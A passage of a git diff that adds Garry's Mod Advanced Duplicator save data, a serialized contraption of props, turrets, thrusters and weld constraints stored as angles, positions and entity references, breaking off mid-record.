+22:"VehicleTable" +23:"Seat_Airboat" +24:"VehicleName" +25:"CollisionGroupMod" +26:"VehicleMemDupe" +27:"Mass" +28:"mass" +29:"debug/env_cubemap_model" +30:"MaterialOverride" +31:"material" +32:"EntityMods" +33:"Skin" +34:"nocollide" +35:"gmod_hoverball" +36:"strength" +37:"key_d" +38:"key_u" +39:"models/dav0r/hoverball.mdl" +40:"speed" +41:"Models/effects/comball_sphere" +42:"resistance" +43:"damageable" +44:"models/props_combine/combine_fenceglow" +45:"key_bck" +46:"gmod_thruster" +47:"plasma" +48:"effect" +49:"eli_lab.elevator_move" +50:"soundname" +51:"models/dav0r/thruster.mdl" +52:"toggle" +53:"force" +54:"models/weapons/w_mach_m249para.mdl" +55:"prop_physics" +56:"models/dav0r/hoverball" +57:"numbullets" +58:"gmod_turret" +59:"sound" +60:"damage" +61:"models/weapons/w_smg1.mdl" +62:"AirboatGunHeavyTracer" +63:"tracer" +64:"spread" +65:"delay" +66:"models/props_interiors/bathtub01a.mdl" +67:"models/player/shared/gold_player" +68:"models/gibs/gunship_gibs_nosegun.mdl" +69:"Color" +70:"RenderMode" +71:"RenderFX" +72:"colour" +73:"Models/effects/comball_tape" +74:"fire" +75:"WeaponDissolve.Beam" +76:"models/props_junk/metalbucket01a.mdl" +77:"NPC_FloorTurret.Shoot" +78:"forcelimit" +79:"Index" +80:"Bone" +81:"Entity" +82:"deleteonbreak" +83:"Weld" +84:"Type" +85:"NoCollide" +Saved:554 \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/big_one.txt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/big_one.txt new file mode 100644 index 0000000..26f75a0 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/data/adv_duplicator/minge/big_one.txt @@ -0,0 +1,51 @@ +[Info] +Type:AdvDupe File +Creator:"nil" +Date:12/27/09 +Description:"none" +Entities:47 +Constraints:69 +[More Information] +FileVersion:0.84 +AdvDupeVersion:1.84 +AdvDupeToolVersion:1.813 +AdvDupeSharedVersion:1.72 +SerialiserVersion:1.4 +WireVersion:Not Installed +Time:06:45 PM +Head:216 +HoldAngle:0,147.228,0 +HoldPos:9.1925,10.7238,-0.608249 +StartPos:662.557,2644.59,-59.9688 +[Save] +Entities:023198E8{Y:1=A:0.204134,14.6979,359.95;Y:2=V:5.14764,42.0476,15.2146;Y:4=B:t;}023787A8{N:0=T:02323708;}022F7658{N:0=T:02364DC0;}023F57D0{Y:1=A:0.204134,111.451,359.95;Y:2=V:-99.7463,57.4006,15.2146;Y:4=B:t;}02374950{N:0=T:0232E6A8;}0231A360{N:0=T:023605E0;}02301CE8{Y:12=N:20;}024EB040{Y:1=A:0.428546,-113.16,-0.165009;Y:2=V:-36.0598,34.5168,0.402847;Y:3=N:0;Y:5=T:02308548;Y:7=Y:6;Y:9=Y:17;}02323708{Y:1=A:-0.00320399,-160.284,359.983;Y:2=V:-33.2037,-9.80103,0.610916;Y:4=B:t;}023213B8{N:0=T:02307A80;}02323578{Y:12=N:20;}02307A80{Y:1=A:-0.0180158,107.031,7.91707e-006;Y:2=V:-79.5057,13.4263,0.348877;Y:4=B:t;}02329F40{Y:9=Y:18;Y:1=A:-88.2628,-7.53767,90.1098;Y:2=V:-41.2492,24.5085,68.2219;Y:3=N:0;Y:5=T:023BE938;Y:7=Y:6;Y:13=T:02301CE8;}02317098{N:0=T:02376570;}0231A450{Y:1=A:0.204134,44.9444,359.95;Y:2=V:-24.0035,69.0725,15.2146;Y:4=B:t;}02380E30{Y:12=N:20;}023753F0{Y:1=A:-0.022876,128.295,2.12075e-005;Y:2=V:-61.403,50.0488,0.390545;Y:3=N:0;Y:5=T:02395F10;Y:7=Y:6;Y:9=Y:10;}0239BEB0{Y:1=A:-0.022876,-171.3,2.12076e-005;Y:2=V:-53.6016,10.4534,0.390541;Y:4=B:t;}022F79C8{N:0=T:0233A728;}022F7D38{Y:1=A:-0.022876,-154.143,2.12081e-005;Y:2=V:-61.4866,24.209,0.390541;Y:4=B:t;}0231AA90{Y:1=A:-0.0180158,135.862,7.91649e-006;Y:2=V:-63.6722,-9.76172,0.348877;Y:3=N:0;Y:5=T:02350F28;Y:7=Y:6;Y:9=Y:20;}02359650{N:0=T:022FF330;}0233ADE0{Y:1=A:-0.022876,154.385,2.12075e-005;Y:2=V:-68.221,36.4663,0.390541;Y:3=N:0;Y:5=T:02317098;Y:7=Y:6;Y:9=Y:10;}0230DB60{N:0=T:02345718;}023A21E8{N:0=T:02374E50;}023BE938{N:0=T:023AC558;}023BCEF8{Y:9=Y:11;Y:1=A:-33.9509,-7.85945,5.23892;Y:2=V:-22.4543,21.2988,42.2722;Y:3=N:0;Y:5=T:02374950;Y:7=Y:6;Y:13=T:02380E30;}02343788{Y:1=A:-89.4639,-168.357,11.0985;Y:2=V:-117.944,39.687,29.4597;Y:4=B:t;}023398C8{Y:1=A:0.204134,121.356,-0.0499878;Y:2=V:-82.6823,68.3401,15.2146;Y:3=N:0;Y:5=T:02313C90;Y:7=Y:6;Y:9=Y:14;}02364DC0{Y:1=A:-89.4639,-28.4446,11.0984;Y:2=V:23.8381,51.4014,29.4597;Y:4=B:t;}02337780{Y:12=N:20;}02397F90{Y:1=A:-0.022876,-113.195,2.12071e-005;Y:2=V:-39.1313,11.9646,0.390541;Y:4=B:t;}0237AD78{Y:1=A:-89.4639,-13.4098,11.0985;Y:2=V:28.438,29.1516,29.4597;Y:4=B:t;}0231A888{Y:1=A:0.204134,85.9804,-0.0499878;Y:2=V:-43.8138,77.384,15.2146;Y:3=N:0;Y:5=T:0231A928;Y:7=Y:6;Y:9=Y:14;}02337D70{Y:9=Y:19;Y:1=A:-0.118522,-15.7931,-0.362946;Y:2=V:-38.0498,-2.1958,43.4372;Y:3=N:0;Y:5=T:0230DB60;Y:7=Y:6;Y:13=T:02337780;}022F61E0{Y:1=A:-0.0347961,100.751,0.08385;Y:2=V:-66.9731,60.5574,18.0095;Y:4=B:t;}02319550{Y:1=A:0.204134,10.9835,359.95;Y:2=V:9.24933,21.0247,15.2146;Y:4=B:t;}02309A88{Y:1=A:-0.00320399,-102.444,359.983;Y:2=V:-8.49084,11.2874,0.610916;Y:4=B:t;}02322588{Y:9=Y:21;Y:1=A:-86.4696,-165.101,118.835;Y:2=V:-53.7892,6.63379,85.1171;Y:3=N:0;Y:5=T:02318E48;Y:7=Y:6;Y:13=T:02319960;}02334558{N:0=T:02351630;}02319578{N:0=T:02319550;}02350FC8{Y:1=A:-0.0180158,107.031,7.91707e-006;Y:2=V:-79.5057,13.4263,0.348877;Y:3=N:0;Y:5=T:023213B8;Y:7=Y:6;Y:9=Y:20;}0231FE28{N:0=T:0237AD78;}023BD560{Y:1=A:-0.0347961,77.9344,0.08385;Y:2=V:-84.5071,58.8223,18.0095;Y:3=N:0;Y:5=T:02306EF0;Y:7=Y:6;Y:9=Y:8;}023C9400{Y:1=A:-0.0347961,91.2004,0.08385;Y:2=V:-74.003,51.4541,18.0095;Y:4=B:t;}0231A928{N:0=T:0231A900;}02350F28{N:0=T:02328668;}0233A728{Y:1=A:-89.4639,-11.022,11.0985;Y:2=V:23.1693,1.28882,29.4597;Y:4=B:t;}0231A2C0{Y:9=Y:18;Y:1=A:-85.0336,132.981,-85.7241;Y:2=V:-47.5478,44.5999,68.0183;Y:3=N:0;Y:5=T:02305848;Y:7=Y:6;Y:13=T:022F6D70;}023605E0{Y:1=A:-89.4639,-145.539,11.0985;Y:2=V:-108.603,11.6765,29.4597;Y:4=B:t;}02325490{N:0=T:02325A58;}02333A18{Y:1=A:-0.022876,-171.3,2.12076e-005;Y:2=V:-53.6016,10.4534,0.390541;Y:3=N:0;Y:5=T:023212C8;Y:7=Y:6;Y:9=Y:10;}0233B5D8{Y:1=A:-85.0336,132.981,274.276;Y:2=V:-47.5478,44.5999,68.0183;Y:4=B:t;}02319910{N:0=T:023198E8;}0231AC70{N:0=T:0231AC48;}02367908{N:0=T:02337208;}0231CC78{Y:1=A:-0.0347961,88.9014,0.08385;Y:2=V:-75.8761,59.7773,18.0095;Y:3=N:0;Y:5=T:0236DDA8;Y:7=Y:6;Y:9=Y:8;}0232FEB8{Y:1=A:-89.4639,-118.3,11.0985;Y:2=V:-86.3529,-18.4065,29.4597;Y:3=N:0;Y:5=T:02325490;Y:7=Y:6;Y:9=Y:16;}02303610{Y:1=A:-0.0347961,100.751,0.08385;Y:2=V:-66.9731,60.5574,18.0095;Y:3=N:0;Y:5=T:02327C68;Y:7=Y:6;Y:9=Y:8;}0231A040{Y:1=A:0.204134,44.9444,-0.0499878;Y:2=V:-24.0035,69.0725,15.2146;Y:3=N:0;Y:5=T:0231AAB8;Y:7=Y:6;Y:9=Y:14;}02305848{N:0=T:0233B5D8;}02308548{N:0=T:02350EB0;}0231E898{Y:1=A:0.428546,-116.344,-0.165009;Y:2=V:-52.9769,38.6721,0.402847;Y:3=N:0;Y:5=T:0238BA10;Y:7=Y:6;Y:9=Y:17;}0235B158{Y:1=A:-0.022876,-113.195,2.12071e-005;Y:2=V:-39.1313,11.9646,0.390541;Y:3=N:0;Y:5=T:023809F8;Y:7=Y:6;Y:9=Y:10;}0231A900{Y:1=A:0.204134,85.9804,359.95;Y:2=V:-43.8138,77.384,15.2146;Y:4=B:t;}0234D008{N:0=T:02343788;}023015E0{Y:1=A:-0.00320399,-102.444,-0.0169983;Y:2=V:-8.49084,11.2874,0.610916;Y:3=N:0;Y:5=T:0230A208;Y:7=Y:6;Y:9=Y:15;}023212C8{N:0=T:0239BEB0;}02399DE0{N:0=T:0236E3E8;}0236E3E8{Y:1=A:-0.0347961,94.7384,0.08385;Y:2=V:-71.9178,65.6443,18.0095;Y:4=B:t;}023E06A0{Y:1=A:-0.0347961,109.949,0.08385;Y:2=V:-61.9609,67.0996,18.0095;Y:3=N:0;Y:5=T:022FEDE0;Y:7=Y:6;Y:9=Y:8;}02328668{Y:1=A:-0.0180158,135.862,7.91649e-006;Y:2=V:-63.6722,-9.76172,0.348877;Y:4=B:t;}022FA3A8{Y:1=A:-0.00320399,-26.0319,359.983;Y:2=V:-39.7856,57.8494,0.610916;Y:4=B:t;}02302508{Y:1=A:0.204134,121.356,359.95;Y:2=V:-82.6823,68.3401,15.2146;Y:4=B:t;}023709B8{Y:1=A:-89.4639,-28.4446,11.0984;Y:2=V:23.8381,51.4014,29.4597;Y:3=N:0;Y:5=T:022F7658;Y:7=Y:6;Y:9=Y:16;}02319870{Y:1=A:0.204134,14.6979,-0.0499878;Y:2=V:5.14764,42.0476,15.2146;Y:3=N:0;Y:5=T:02319910;Y:7=Y:6;Y:9=Y:14;}02319C30{Y:1=A:0.204134,68.2925,-0.0499878;Y:2=V:-5.29846,59.4536,15.2146;Y:3=N:0;Y:5=T:02319D98;Y:7=Y:6;Y:9=Y:14;}023CEF40{N:0=T:02351D38;}0231B878{Y:1=A:0.204134,68.2925,359.95;Y:2=V:-5.29846,59.4536,15.2146;Y:4=B:t;}022FA7B8{Y:1=A:-89.4639,-11.022,11.0985;Y:2=V:23.1693,1.28882,29.4597;Y:3=N:0;Y:5=T:022F79C8;Y:7=Y:6;Y:9=Y:16;}02313C90{N:0=T:02302508;}02307D00{Y:1=A:-0.0347961,77.9344,0.08385;Y:2=V:-84.5071,58.8223,18.0095;Y:4=B:t;}0236BA08{Y:1=A:0.428546,-108.561,-0.165009;Y:2=V:-45.7044,25.9387,0.402847;Y:3=N:0;Y:5=T:0237AC10;Y:7=Y:6;Y:9=Y:17;}022FEDE0{N:0=T:02315C98;}02322290{Y:1=A:-89.4639,-60.46,11.0986;Y:2=V:-5.29712,-17.5459,29.4597;Y:3=N:0;Y:5=T:023318A8;Y:7=Y:6;Y:9=Y:16;}0237AC10{N:0=T:02316008;}023AF208{Y:1=A:-0.0347961,123.215,0.08385;Y:2=V:-53.0868,69.5876,18.0095;Y:3=N:0;Y:5=T:022FAC90;Y:7=Y:6;Y:9=Y:8;}0236DDA8{N:0=T:022F99F8;}H02354010{N:106=T:02302030;N:211=T:0231CC78;N:212=T:02333A18;N:76=T:022F6AF0;N:214=T:02319C30;N:215=T:023194D8;N:216=T:023015E0;N:217=T:0233ADE0;N:94=T:0239DB70;N:218=T:024EB040;N:219=T:023E6FA0;N:95=T:0231A2C0;N:220=T:023398C8;N:80=T:023275D8;N:222=T:02313BF0;N:65=T:02337D70;N:81=T:0232FEB8;N:192=T:0231A040;N:193=T:023E06A0;N:98=T:02329F40;N:164=T:023BD560;N:165=T:02303610;N:68=T:0231AA90;N:84=T:023BCEF8;N:100=T:02343198;N:167=T:0236F888;N:168=T:023753F0;N:101=T:023709B8;N:169=T:0236BA08;N:170=T:0235B158;N:26=T:02319870;N:171=T:0231ABD0;N:71=T:023AF208;N:221=T:0231A888;N:103=T:02309E48;N:75=T:02350FC8;N:83=T:022F7108;N:209=T:02317FC0;N:104=T:022FA7B8;N:166=T:0230EE48;N:73=T:02322290;N:213=T:0231E898;N:79=T:02322588;N:194=T:02310C20;N:74=T:0234F6C8;N:107=T:022F97A0;N:210=T:02307CB0;}02307CB0{Y:1=A:0.428546,-105.024,-0.165009;Y:2=V:-30.0226,19.3276,0.402847;Y:3=N:0;Y:5=T:02384350;Y:7=Y:6;Y:9=Y:17;}023C7290{Y:1=A:0.428546,-105.024,359.835;Y:2=V:-30.0226,19.3276,0.402847;Y:4=B:t;}02319960{Y:12=N:20;}02318E48{N:0=T:02318DD0;}022FF330{Y:1=A:-0.00320399,-71.8438,359.983;Y:2=V:-15.2458,42.751,0.61092;Y:4=B:t;}023620C0{Y:1=A:-89.4639,-60.46,11.0986;Y:2=V:-5.29712,-17.5459,29.4597;Y:4=B:t;}0236F888{Y:1=A:-0.022876,-154.143,2.12081e-005;Y:2=V:-61.4866,24.209,0.390541;Y:3=N:0;Y:5=T:024E9C68;Y:7=Y:6;Y:9=Y:10;}022F97A0{Y:1=A:-0.00320399,-71.8438,-0.0169983;Y:2=V:-15.2458,42.751,0.61092;Y:3=N:0;Y:5=T:02359650;Y:7=Y:6;Y:9=Y:15;}0230EE48{Y:1=A:-0.0347961,112.426,0.08385;Y:2=V:-58.0276,61.8315,18.0095;Y:3=N:0;Y:5=T:023CEF40;Y:7=Y:6;Y:9=Y:8;}0234F6C8{Y:9=Y:21;Y:1=A:-88.5476,-3.56493,-88.1916;Y:2=V:-37.7446,28.7549,84.7812;Y:3=N:0;Y:5=T:023A21E8;Y:7=Y:6;Y:13=T:02323578;}023194D8{Y:1=A:0.204134,10.9835,-0.0499878;Y:2=V:9.24933,21.0247,15.2146;Y:3=N:0;Y:5=T:02319578;Y:7=Y:6;Y:9=Y:14;}02346D48{N:0=T:023F57D0;}02363B00{Y:1=A:-0.022876,128.295,2.12075e-005;Y:2=V:-61.403,50.0488,0.390545;Y:4=B:t;}02318DD0{Y:1=A:-86.4696,-165.101,118.835;Y:2=V:-53.7892,6.63379,85.1171;Y:4=B:t;}0239DB70{Y:1=A:-89.4639,-145.539,11.0985;Y:2=V:-108.603,11.6765,29.4597;Y:3=N:0;Y:5=T:0231A360;Y:7=Y:6;Y:9=Y:16;}02384350{N:0=T:023C7290;}0230D688{Y:1=A:0.428546,-116.344,359.835;Y:2=V:-52.9769,38.6721,0.402847;Y:4=B:t;}02340D30{N:0=T:023C8B68;}023E6FA0{Y:1=A:-0.00320399,-26.0319,-0.0169983;Y:2=V:-39.7856,57.8494,0.610916;Y:3=N:0;Y:5=T:023692A8;Y:7=Y:6;Y:9=Y:15;}02325A58{Y:1=A:-89.4639,-118.3,11.0985;Y:2=V:-86.3529,-18.4065,29.4597;Y:4=B:t;}02316008{Y:1=A:0.428546,-108.561,359.835;Y:2=V:-45.7044,25.9387,0.402847;Y:4=B:t;}023318A8{N:0=T:023620C0;}02313BF0{Y:1=A:-0.0347961,94.7384,0.08385;Y:2=V:-71.9178,65.6443,18.0095;Y:3=N:0;Y:5=T:02399DE0;Y:7=Y:6;Y:9=Y:8;}023AC558{Y:1=A:-88.2628,-7.53767,90.1098;Y:2=V:-41.2492,24.5085,68.2219;Y:4=B:t;}02309E48{Y:1=A:-89.4639,-13.4098,11.0985;Y:2=V:28.438,29.1516,29.4597;Y:3=N:0;Y:5=T:0231FE28;Y:7=Y:6;Y:9=Y:16;}023275D8{Y:1=A:-89.4639,-80.801,11.0984;Y:2=V:-42.8271,-35.5613,29.4597;Y:3=N:0;Y:5=T:02367908;Y:7=Y:6;Y:9=Y:16;}02351D38{Y:1=A:-0.0347961,112.426,0.08385;Y:2=V:-58.0276,61.8315,18.0095;Y:4=B:t;}0231AAB8{N:0=T:0231A450;}02376570{Y:1=A:-0.022876,154.385,2.12075e-005;Y:2=V:-68.221,36.4663,0.390541;Y:4=B:t;}023C8B68{Y:1=A:-31.9541,-179.592,0.636581;Y:2=V:-68.885,27.9609,39.4448;Y:4=B:t;}022F6AF0{Y:9=Y:11;Y:1=A:-31.9541,-179.592,0.636581;Y:2=V:-68.885,27.9609,39.4448;Y:3=N:0;Y:5=T:02340D30;Y:7=Y:6;Y:13=T:023582F0;}02374E50{Y:1=A:-88.5476,-3.56493,271.808;Y:2=V:-37.7446,28.7549,84.7812;Y:4=B:t;}02343198{Y:1=A:-89.4639,-168.357,11.0985;Y:2=V:-117.944,39.687,29.4597;Y:3=N:0;Y:5=T:0234D008;Y:7=Y:6;Y:9=Y:16;}02310C20{Y:1=A:0.204134,111.451,-0.0499878;Y:2=V:-99.7463,57.4006,15.2146;Y:3=N:0;Y:5=T:02346D48;Y:7=Y:6;Y:9=Y:14;}02351630{Y:1=A:-0.0180158,65.6413,7.91699e-006;Y:2=V:-89.8018,41.4058,0.348877;Y:4=B:t;}022F7108{Y:1=A:-0.0180158,65.6413,7.91699e-006;Y:2=V:-89.8018,41.4058,0.348877;Y:3=N:0;Y:5=T:02334558;Y:7=Y:6;Y:9=Y:20;}0238BA10{N:0=T:0230D688;}02317FC0{Y:1=A:-0.00320399,-160.284,-0.0169983;Y:2=V:-33.2037,-9.80103,0.610916;Y:3=N:0;Y:5=T:023787A8;Y:7=Y:6;Y:9=Y:15;}0230A208{N:0=T:02309A88;}0231AC48{Y:1=A:0.204134,96.7704,359.95;Y:2=V:-63.6877,75.9875,15.2146;Y:4=B:t;}023582F0{Y:12=N:20;}022F6D70{Y:12=N:20;}02305500{N:0=T:023C9400;}02315C98{Y:1=A:-0.0347961,109.949,0.08385;Y:2=V:-61.9609,67.0996,18.0095;Y:4=B:t;}02337208{Y:1=A:-89.4639,-80.801,11.0984;Y:2=V:-42.8271,-35.5613,29.4597;Y:4=B:t;}02345718{Y:1=A:-0.118522,-15.7931,359.637;Y:2=V:-38.0498,-2.1958,43.4372;Y:4=B:t;}023692A8{N:0=T:022FA3A8;}02302030{Y:1=A:-0.0347961,91.2004,0.08385;Y:2=V:-74.003,51.4541,18.0095;Y:3=N:0;Y:5=T:02305500;Y:7=Y:6;Y:9=Y:8;}02395F10{N:0=T:02363B00;}022F99F8{Y:1=A:-0.0347961,88.9014,0.08385;Y:2=V:-75.8761,59.7773,18.0095;Y:4=B:t;}02319D98{N:0=T:0231B878;}022FAC90{N:0=T:023352C8;}023809F8{N:0=T:02397F90;}024E9C68{N:0=T:022F7D38;}02350EB0{Y:1=A:0.428546,-113.16,359.835;Y:2=V:-36.0598,34.5168,0.402847;Y:4=B:t;}0232E6A8{Y:1=A:-33.9509,-7.85945,5.23892;Y:2=V:-22.4543,21.2988,42.2722;Y:4=B:t;}02306EF0{N:0=T:02307D00;}02327C68{N:0=T:022F61E0;}023352C8{Y:1=A:-0.0347961,123.215,0.08385;Y:2=V:-53.0868,69.5876,18.0095;Y:4=B:t;}0231ABD0{Y:1=A:0.204134,96.7704,-0.0499878;Y:2=V:-63.6877,75.9875,15.2146;Y:3=N:0;Y:5=T:0231AC70;Y:7=Y:6;Y:9=Y:14;} +Constraints:023918E8{T:023016A8;T:02351FE0;}0233AE30{T:0234C798;T:02341B40;}02337050{Y:24=T:02336F88;Y:26=Y:25;Y:27=N:0;}02449F10{Y:22=N:220;Y:23=N:0;}02340718{Y:22=N:217;Y:23=N:0;}023388B0{T:0231B300;T:02322AB0;}02319F78{Y:24=T:0231A540;Y:26=Y:25;Y:27=N:0;}02361918{Y:22=N:103;Y:23=N:0;}02395920{T:0235A348;T:023B8E48;}023169E0{T:024607D8;T:022FCEC8;}02309A60{Y:24=T:0233DEC8;Y:26=Y:25;Y:27=N:0;}02309CE0{Y:22=N:95;Y:23=N:0;}02361738{Y:24=T:0234F768;Y:26=Y:25;Y:27=N:0;}023C7100{T:0230E8D0;T:022F7A40;}02321FE8{Y:22=N:98;Y:23=N:0;}023B22F0{T:022FEE58;T:02349610;}02306BA8{Y:22=N:169;Y:23=N:0;}02319758{T:02319B90;T:02319D70;}023519A0{Y:22=N:213;Y:23=N:0;}0236A090{Y:24=T:023817E0;Y:26=Y:25;Y:27=N:0;}023C89D8{T:024EBD88;T:023642D0;}02381380{Y:22=N:73;Y:23=N:0;}024EBD88{Y:22=N:165;Y:23=N:0;}02319AC8{Y:22=N:214;Y:23=N:0;}0237A8A0{T:0232F3F0;T:02306BA8;}022FF8F8{Y:24=T:023A2670;Y:26=Y:25;Y:27=N:0;}0231BCB0{Y:22=N:209;Y:23=N:0;}0233DB58{T:022FB078;T:023078F0;}0231A4F0{Y:22=N:192;Y:23=N:0;}0231BF08{Y:24=T:02516560;Y:26=Y:25;Y:27=N:0;}0245E910{Y:22=N:75;Y:23=N:0;}02340B78{Y:24=T:023918E8;Y:26=Y:25;Y:27=N:0;}02350938{Y:24=T:02371570;Y:26=Y:25;Y:27=N:0;}0231AE28{Y:24=T:0231AE00;Y:26=Y:25;Y:27=N:0;}0237AA80{T:02300410;T:022FD878;}02325B98{Y:22=N:213;Y:23=N:0;}02341B68{Y:22=N:65;Y:23=N:0;}0234D698{T:022FC950;T:0236D2B8;}02316F30{Y:22=N:211;Y:23=N:0;}023439B8{T:023860B0;T:023E96D8;}023405D8{Y:24=T:0237AA80;Y:26=Y:25;Y:27=N:0;}02380598{Y:22=N:81;Y:23=N:0;}023471D0{Y:22=N:75;Y:23=N:0;}023A4DD0{Y:22=N:68;Y:23=N:0;}023177A0{Y:24=T:0231BB20;Y:26=Y:25;Y:27=N:0;}02302E40{T:0233E6C0;T:0235B6D0;}02325828{Y:22=N:107;Y:23=N:0;}022FBFF0{Y:24=T:0234D698;Y:26=Y:25;Y:27=N:0;}0230D548{T:022F9840;T:0231E758;}02319CA8{Y:22=N:214;Y:23=N:0;}02362408{Y:24=T:02395920;Y:26=Y:25;Y:27=N:0;}02308CF0{Y:24=T:0237A8A0;Y:26=Y:25;Y:27=N:0;}023A8D18{Y:24=T:0232BA48;Y:26=Y:25;Y:27=N:0;}0231F5E0{Y:22=N:168;Y:23=N:0;}0231F298{T:0234A998;T:02335160;}0230D660{Y:22=N:71;Y:23=N:0;}02319F00{Y:22=N:192;Y:23=N:0;}0232BA48{T:0232AE40;T:0232F2D8;}023078F0{Y:22=N:164;Y:23=N:0;}02344458{Y:24=T:0233DB58;Y:26=Y:25;Y:27=N:0;}02465DC8{Y:22=N:209;Y:23=N:0;}02454050{T:022F6AA0;T:02325828;}02355708{T:02325B98;T:0234E9D0;}02319280{Y:22=N:26;Y:23=N:0;}0233F9F8{Y:24=T:022754A0;Y:26=Y:25;Y:27=N:0;}0231A130{Y:22=N:68;Y:23=N:0;}023D7CA8{Y:22=N:212;Y:23=N:0;}02338108{Y:22=N:84;Y:23=N:0;}02338B08{Y:24=T:02338158;Y:26=Y:25;Y:27=N:0;}023C2128{T:02340718;T:023ABE78;}023330E0{Y:24=T:023C2128;Y:26=Y:25;Y:27=N:0;}0231B300{Y:22=N:216;Y:23=N:0;}023193C0{Y:24=T:02319370;Y:26=Y:25;Y:27=N:0;}0234F768{T:02377100;T:02465DC8;}022F6AA0{Y:22=N:169;Y:23=N:0;}02371570{T:02345AD8;T:02395498;}02322010{T:02321FE8;T:02321FC0;}0231AD60{Y:22=N:220;Y:23=N:0;}022F7A40{Y:22=N:104;Y:23=N:0;}0231BB20{T:023E4BD8;T:02355B18;}02370670{Y:24=T:02375580;Y:26=Y:25;Y:27=N:0;}0239EE30{Y:24=T:0231F298;Y:26=Y:25;Y:27=N:0;}02330868{Y:24=T:023DB6A0;Y:26=Y:25;Y:27=N:0;}0231EA78{Y:22=N:219;Y:23=N:0;}02377128{Y:22=N:95;Y:23=N:0;}022FD878{Y:22=N:107;Y:23=N:0;}02305730{Y:22=N:71;Y:23=N:0;}02343D50{T:02310E50;T:02315D88;}02321FC0{Y:22=N:84;Y:23=N:0;}0238AED0{Y:22=N:74;Y:23=N:0;}023A6E00{Y:24=T:023A2BE8;Y:26=Y:25;Y:27=N:0;}022FC388{Y:22=N:193;Y:23=N:0;}02342E00{Y:22=N:165;Y:23=N:0;}02359010{T:023A1C98;T:02381380;}02361DF0{Y:24=T:023C89D8;Y:26=Y:25;Y:27=N:0;}023817E0{T:02364208;T:02316F30;}02326980{Y:24=T:023A14A0;Y:26=Y:25;Y:27=N:0;}0230F528{T:02339DC8;T:025145D0;}0235AF00{Y:24=T:02355938;Y:26=Y:25;Y:27=N:0;}0231EC58{Y:22=N:194;Y:23=N:0;}0232F3F0{Y:22=N:218;Y:23=N:0;}023A7BC0{T:023560B8;T:0245E910;}0231C638{Y:22=N:222;Y:23=N:0;}0236CA20{Y:22=N:168;Y:23=N:0;}024DB668{T:0236DC68;T:023471D0;}02300988{Y:24=T:02308098;Y:26=Y:25;Y:27=N:0;}02501598{Y:22=N:212;Y:23=N:0;}02305050{Y:22=N:218;Y:23=N:0;}0236ECF8{Y:22=N:98;Y:23=N:0;}022FEE58{Y:22=N:76;Y:23=N:0;}0231F590{Y:24=T:02332FF0;Y:26=Y:25;Y:27=N:0;}023C1DB8{T:023519A0;T:0231F5E0;}0239E3B8{Y:22=N:75;Y:23=N:0;}023B8E48{Y:22=N:216;Y:23=N:0;}023325A0{Y:24=T:02359010;Y:26=Y:25;Y:27=N:0;}02313B78{Y:22=N:98;Y:23=N:0;}0235A550{Y:22=N:216;Y:23=N:0;}023016A8{Y:22=N:94;Y:23=N:0;}02364208{Y:22=N:106;Y:23=N:0;}02345AD8{Y:22=N:98;Y:23=N:0;}0236D2B8{Y:22=N:106;Y:23=N:0;}023283E8{T:0239E3B8;T:024BF0A8;}02344BD8{Y:22=N:168;Y:23=N:0;}02319370{T:02402B38;T:02319320;}02342928{Y:22=N:194;Y:23=N:0;}0230A1B8{Y:22=N:166;Y:23=N:0;}02398210{Y:22=N:210;Y:23=N:0;}023642D0{Y:22=N:166;Y:23=N:0;}02339760{T:0231C638;T:02342E00;}022FB190{T:0233A2C8;T:02305730;}023285C8{Y:24=T:02341118;Y:26=Y:25;Y:27=N:0;}0235A370{Y:22=N:167;Y:23=N:0;}025145D0{Y:22=N:74;Y:23=N:0;}023E96D8{Y:22=N:217;Y:23=N:0;}0231EC30{Y:22=N:83;Y:23=N:0;}0231A1F8{Y:24=T:024DB668;Y:26=Y:25;Y:27=N:0;}02322218{Y:22=N:80;Y:23=N:0;}0236EF78{Y:24=T:02355708;Y:26=Y:25;Y:27=N:0;}0233A2C8{Y:22=N:193;Y:23=N:0;}0233CAA0{Y:24=T:0233AE30;Y:26=Y:25;Y:27=N:0;}02375580{T:0232EEF0;T:0236FD38;}0231EBB8{T:0231F798;T:0231EA78;}02319D70{Y:22=N:26;Y:23=N:0;}022F7068{Y:24=T:023388B0;Y:26=Y:25;Y:27=N:0;}02300410{Y:22=N:219;Y:23=N:0;}023865D8{Y:24=T:02454050;Y:26=Y:25;Y:27=N:0;}02326958{Y:22=N:219;Y:23=N:0;}0231F338{Y:24=T:0230D548;Y:26=Y:25;Y:27=N:0;}0231A9C8{Y:22=N:171;Y:23=N:0;}02339DC8{Y:22=N:65;Y:23=N:0;}0230FC08{Y:22=N:210;Y:23=N:0;}02327970{Y:22=N:68;Y:23=N:0;}023965C8{Y:22=N:83;Y:23=N:0;}0235A348{Y:22=N:104;Y:23=N:0;}024FD768{Y:24=T:0230F528;Y:26=Y:25;Y:27=N:0;}0231A400{T:02319280;T:02319AC8;}02341B40{Y:22=N:83;Y:23=N:0;}0231F450{Y:22=N:168;Y:23=N:0;}0231A5E0{T:0231A4F0;T:0231A4C8;}02335160{Y:22=N:68;Y:23=N:0;}0231A1D0{Y:24=T:0231A1A8;Y:26=Y:25;Y:27=N:0;}0232F2D8{Y:22=N:94;Y:23=N:0;}02516560{T:023965C8;T:02344BD8;}02351FE0{Y:22=N:100;Y:23=N:0;}0231A1A8{T:0231A158;T:0231A130;}02341CD0{T:02325120;T:023A4DD0;}02395498{Y:22=N:209;Y:23=N:0;}023DC028{T:023DA9D0;T:02338108;}0234E9D0{Y:22=N:209;Y:23=N:0;}023F71C0{Y:22=N:101;Y:23=N:0;}022FA358{T:023CF878;T:023C9A40;}02341118{T:023649D8;T:02327970;}02319B90{Y:22=N:215;Y:23=N:0;}0231A4C8{Y:22=N:221;Y:23=N:0;}0236DC68{Y:22=N:68;Y:23=N:0;}0231F360{Y:22=N:166;Y:23=N:0;}02319780{Y:24=T:02319758;Y:26=Y:25;Y:27=N:0;}024BF0A8{Y:22=N:83;Y:23=N:0;}023E4BD8{Y:22=N:74;Y:23=N:0;}0227BB70{Y:22=N:216;Y:23=N:0;}02322358{Y:24=T:02322010;Y:26=Y:25;Y:27=N:0;}0232FFF8{Y:24=T:023169E0;Y:26=Y:25;Y:27=N:0;}0233E6C0{Y:22=N:74;Y:23=N:0;}0233DAE0{T:02387C0